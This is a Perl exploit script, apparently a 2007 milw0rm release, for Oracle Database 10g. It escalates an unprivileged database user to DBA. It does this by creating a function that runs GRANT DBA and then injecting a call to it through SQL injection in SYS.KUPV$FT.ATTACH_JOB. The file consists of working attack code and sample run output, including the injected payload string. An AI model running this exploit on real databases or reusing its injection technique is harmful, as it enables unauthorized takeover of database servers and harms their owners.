125 lines
No EOL
3.3 KiB
Perl
Executable file
125 lines
No EOL
3.3 KiB
Perl
Executable file
#!/usr/bin/perl
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#
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# Remote Oracle KUPV$FT.ATTACH_JOB exploit (10g)
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#
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# Grant or revoke dba permission to unprivileged user
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#
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# Tested on "Oracle Database 10g Enterprise Edition Release 10.1.0.3.0"
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#
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# REF: https://www.securityfocus.com/bid/16294
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#
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# AUTHOR: Andrea "bunker" Purificato
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# http://rawlab.mindcreations.com
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#
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# DATE: Copyright 2007 - Thu Feb 22 17:18:55 CET 2007
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#
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# Oracle InstantClient (basic + sdk) required for DBD::Oracle
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#
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#
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# bunker@fin:~$ perl kupv-ft_attach_job.pl -h localhost -s test -u bunker -p **** -r
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# [-] Wait...
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# [-] Revoking DBA from BUNKER...
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# DBD::Oracle::db do failed: ORA-01031: insufficient privileges (DBD ERROR: OCIStmtExecute) [for Statement "REVOKE DBA FROM BUNKER"] at kupv-ft_attach_job.pl line 61.
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# [-] Done!
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#
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# bunker@fin:~$ perl kupv-ft_attach_job.pl -h localhost -s test -u bunker -p **** -g
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# [-] Wait...
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# [-] Creating evil function...
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# [-] Go ...(don't worry about error)!
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# DBD::Oracle::st execute failed: ORA-31626: job does not exist
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# ORA-06512: at "SYS.DBMS_SYS_ERROR", line 79
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# ORA-06512: at "SYS.KUPV$FT", line 330
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# ORA-31638: cannot attach to job ' AND 0=BUNKER.own-- for user
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# ORA-31632: master table ".' AND 0=BUNKER.own--" not found, invalid, or inaccessible
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# ORA-00942: table or view does not exist
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# ORA-06512: at line 6 (DBD ERROR: OCIStmtExecute) [for Statement "
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# DECLARE
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# J BOOLEAN;
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# R NUMBER;
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# BEGIN
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# R:=SYS.KUPV$FT.ATTACH_JOB('',''' AND 0=BUNKER.own--',J);
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# END;
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# "] at kupv-ft_attach_job.pl line 87.
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# [-] YOU GOT THE POWAH!!
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#
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# bunker@fin:~$ perl kupv-ft_attach_job.pl -h localhost -s test -u bunker -p **** -r
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# [-] Wait...
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# [-] Revoking DBA from BUNKER...
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# [-] Done!
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#
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use warnings;
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use strict;
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use DBI;
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use Getopt::Std;
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use vars qw/ %opt /;
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sub usage {
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print <<"USAGE";
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Syntax: $0 -h <host> -s <sid> -u <user> -p <passwd> -g|-r [-P <port>]
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Options:
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-h <host> target server address
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-s <sid> target sid name
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-u <user> user
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-p <passwd> password
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-g|-r (g)rant dba to user | (r)evoke dba from user
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[-P <port> Oracle port]
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USAGE
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exit 0
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}
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my $opt_string = 'h:s:u:p:grP:';
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getopts($opt_string, \%opt) or &usage;
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&usage if ( !$opt{h} or !$opt{s} or !$opt{u} or !$opt{p} );
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&usage if ( !$opt{g} and !$opt{r} );
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my $user = uc $opt{u};
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my $dbh = undef;
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if ($opt{P}) {
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$dbh = DBI->connect("dbi:Oracle:host=$opt{h};sid=$opt{s};port=$opt{P}", $opt{u}, $opt{p}) or die;
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} else {
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$dbh = DBI->connect("dbi:Oracle:host=$opt{h};sid=$opt{s}", $opt{u}, $opt{p}) or die;
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}
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my $sqlcmd = "GRANT DBA TO $user";
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print "[-] Wait...\n";
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if ($opt{r}) {
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print "[-] Revoking DBA from $user...\n";
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$sqlcmd = "REVOKE DBA FROM $user";
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$dbh->do( $sqlcmd );
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print "[-] Done!\n";
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$dbh->disconnect;
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exit;
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}
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print "[-] Creating evil function...\n";
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$dbh->do( qq{
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CREATE OR REPLACE FUNCTION OWN RETURN NUMBER
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AUTHID CURRENT_USER AS
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PRAGMA AUTONOMOUS_TRANSACTION;
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BEGIN
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EXECUTE IMMEDIATE '$sqlcmd'; COMMIT;
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RETURN(0);
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END;
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} );
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print "[-] Go ...(don't worry about errors)!\n";
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my $sth = $dbh->prepare( qq{
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DECLARE
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J BOOLEAN; R NUMBER;
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BEGIN
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R:=SYS.KUPV\$FT.ATTACH_JOB('',''' AND 0=$user.own--',J);
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END;
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});
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$sth->execute;
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$sth->finish;
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print "[-] YOU GOT THE POWAH!!\n";
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$dbh->disconnect;
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exit;
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# milw0rm.com [2007-02-22] |